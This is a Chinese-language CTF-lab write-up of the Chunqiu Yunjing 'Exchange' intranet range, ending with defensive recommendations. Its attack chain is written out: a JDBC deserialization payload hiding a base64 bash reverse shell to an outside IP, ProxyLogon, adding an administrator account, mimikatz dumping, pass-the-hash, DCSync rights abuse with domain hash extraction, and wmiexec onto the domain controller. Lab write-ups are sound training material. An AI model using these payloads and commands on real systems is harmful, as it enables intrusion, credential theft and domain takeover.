内网渗透之春秋云镜(2)-Exchange
字数 1777
更新时间 2025-08-23 18:50:46
春秋云镜Exchange内网渗透实战教学文档
1. 环境概述
本次渗透测试目标为春秋云镜Exchange靶场环境,主要涉及以下系统和服务:
- 华夏ERP系统 (端口8000)
- Exchange Server 2016 (172.22.3.9)
- 域控制器 (172.22.3.2)
- 域内PC (172.22.3.26)
2. Flag1获取 - 华夏ERP漏洞利用
2.1 信息收集
使用fscan扫描发现8000端口开放,访问后为华夏ERP系统登录界面。
2.2 信息泄露漏洞
发现用户信息泄露接口:
http://39.98.108.154:8000/user/getAllList;.ico
返回JSON包含用户列表及MD5加密的密码:
{
"code":200,
"data":{
"userList":[
{"loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e"},
{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"},
{"loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e"}
]
}
}
所有密码MD5解密后均为"123456"。
2.3 JDBC反序列化漏洞利用
参考蓝帽杯2022决赛-赌怪writeup,利用JDBC反序列化漏洞。
攻击步骤:
- 准备ysoserial-all.jar和server.py
- 构造payload,使用CommonsCollections6链
- 注意Java版本要求:OpenJDK 1.8.0_382无法成功,需使用1.1.0版本
- URL编码payload后发送请求:
/user/list?search=7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22120.77.200.94%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22yso_CommonsCollections6_bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC80My4xMzguNTAuNzIvMzMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D
- 成功获取反弹shell并取得flag1
3. Flag2获取 - Exchange Server渗透
3.1 内网信息收集
上传fscan进行内网扫描,发现以下关键主机:
- 172.22.3.9 (XIAORANG-EXC01) - Exchange Server
- 172.22.3.2 (XIAORANG-WIN16) - 域控制器
- 172.22.3.26 (XIAORANG-PC) - 域内PC
3.2 ProxyLogon漏洞利用
使用ProxyLogon漏洞攻击Exchange Server:
proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
成功获取shell后添加用户:
net user lky qwer1234! /add
net localgroup administrators lky /add
直接获取flag2:flag{5721ef82-5358-4745-8f00-ab9e06528868}
3.3 替代方法 - 写入Webshell
使用exprolog.py写入webshell,验证命令执行:
proxychains curl --request POST --url https://172.22.3.9/owa/auth/a4l9e.aspx \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k
4. Flag4获取 - 域渗透
4.1 凭证提取
上传mimikatz提取凭证:
privilege::debug
sekurlsa::logonpasswords
获取到以下关键凭证:
- 用户Zhangtong的NTLM哈希:
22c7f81993e96ac83ac2f3f1903de8b4 - 机器账户XIAORANG-EXC01$的NTLM哈希:
fd8408d2e99712fd9c0e3f9ff5a4a68a
4.2 哈希传递攻击
使用XIAORANG-EXC01$的哈希登录:
proxychains xfreerdp /pth:fd8408d2e99712fd9c0e3f9ff5a4a68a \
/u:XIAORANG-EXC01$ /v:172.22.3.9:3389
4.3 BloodHound分析
发现EXC01机器账户对域内成员具有WriteDacl权限,可以修改其他账户的ACL。
4.4 授予DCSync权限
使用dacledit.py为Zhangtong添加DCSync权限:
proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ \
-hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync \
-principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
4.5 提取域哈希
使用secretsdump.py提取域哈希:
proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 \
-hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
获取域管理员Administrator的NTLM哈希:7acbc09a6c0efd81bfa7d5a1d4238beb
4.6 域控接管
使用wmiexec.py获取域控shell:
proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 \
-hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2
5. Flag3获取 - Exchange邮件内容提取
5.1 使用PTH_Exchange工具
proxychains python3 pthexchange.py --target https://172.22.3.9/ \
--username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' \
--action Download
5.2 破解加密压缩包
- 从邮件内容中提取电话信息保存为1.txt
- 使用zip2john和john破解:
zip2john secret.zip > zip.txt
john --wordlist=1.txt zip.txt
- 使用破解出的密码解压获取flag3
6. 关键工具列表
- fscan - 内网扫描工具
- ysoserial-all.jar - Java反序列化利用工具
- proxylogon.py - Exchange ProxyLogon漏洞利用脚本
- mimikatz - Windows凭证提取工具
- dacledit.py - 修改AD对象ACL的工具
- secretsdump.py - 从域控提取哈希的工具
- wmiexec.py - WMI远程执行工具
- pthexchange.py - Exchange邮件内容提取工具
- zip2john/john - 压缩包密码破解工具
7. 防御建议
- 及时修补Exchange服务器漏洞
- 限制敏感接口的访问权限
- 监控异常的用户行为
- 加强服务账户权限管理
- 实施多因素认证
- 定期审计域内权限分配
- 加密存储敏感凭证信息
相似文章
相似文章